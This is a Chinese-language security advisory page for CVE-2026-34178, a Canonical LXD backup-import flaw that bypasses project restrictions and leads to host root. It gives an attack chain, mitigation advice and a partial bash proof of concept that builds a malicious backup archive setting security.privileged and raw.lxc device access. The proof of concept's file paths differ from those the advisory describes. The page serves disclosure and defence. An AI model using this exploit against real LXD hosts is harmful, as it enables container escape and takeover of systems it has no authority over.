IPBUF安全漏洞报告
English
CVE-2026-34178 CVSS 9.1 严重

CVE-2026-34178 Canonical LXD项目限制绕过漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-34178
漏洞类型
访问控制绕过
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Canonical LXD

相关标签

权限提升容器逃逸LXD验证绕过

漏洞概述

该漏洞存在于Canonical LXD 6.8之前的版本。在备份导入过程中,系统仅对backup/index.yaml进行项目限制校验,却直接使用了未经验证的backup/container/backup.yaml来创建实例。这使得拥有受限项目实例创建权限的攻击者能够构造恶意备份文件,绕过安全限制,最终导致宿主机被完全控制。

技术细节

漏洞核心在于LXD处理备份导入时的验证逻辑不一致。系统在验证阶段读取`backup/index.yaml`以确认符合项目限制,但在实例恢复阶段却读取`backup/container/backup.yaml`,且未对该文件中的配置进行二次校验。攻击者可利用此漏洞,在恶意存档的`backup.yaml`中写入`security.privileged=true`或恶意的`raw.lxc`指令。当管理员导入该备份时,实例将以特权容器启动或执行逃逸指令,从而绕过项目安全策略,获取宿主机Root权限。

攻击链分析

STEP 1
1. 权限获取
攻击者获得受限项目中的实例创建权限。
STEP 2
2. 构造恶意存档
攻击者创建一个tar备份文件,其中backup/container/backup.yaml包含security.privileged=true或raw.lxc指令。
STEP 3
3. 导入备份
攻击者通过LXD API导入恶意备份文件。
STEP 4
4. 验证绕过
LXD检查backup/index.yaml并通过限制检查,但在创建实例时使用了未受检的backup.yaml。
STEP 5
5. 执行攻击
实例以特权模式启动,攻击者利用容器逃逸获取宿主机Root权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-34178: LXD Project Restriction Bypass # Description: Create a malicious backup tar to bypass project restrictions. mkdir -p poc_backup/instance/ # Create the malicious backup.yaml with privileged settings cat > poc_backup/instance/backup.yaml <<EOF config: security.privileged: "true" raw.lxc: "lxc.cgroup.devices.allow = a" ... EOF # Create a dummy index.yaml to pass initial validation cat > poc_backup/index.yaml <<EOF instances: - name: malicious_instance ... EOF # Package into tar archive tar -czf malicious_backup.tar.gz -C poc_backup . echo "Malicious backup created: malicious_backup.tar.gz" echo "Import this into a restricted LXD project to exploit."

影响范围

Canonical LXD < 6.8

防御指南

临时缓解措施
建议立即将Canonical LXD升级到6.8或更高版本以修复此漏洞。如果暂时无法升级,应严格限制用户在项目中的备份导入权限,并禁止导入来源不明的LXD备份文件,以防止利用该漏洞进行权限提升。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表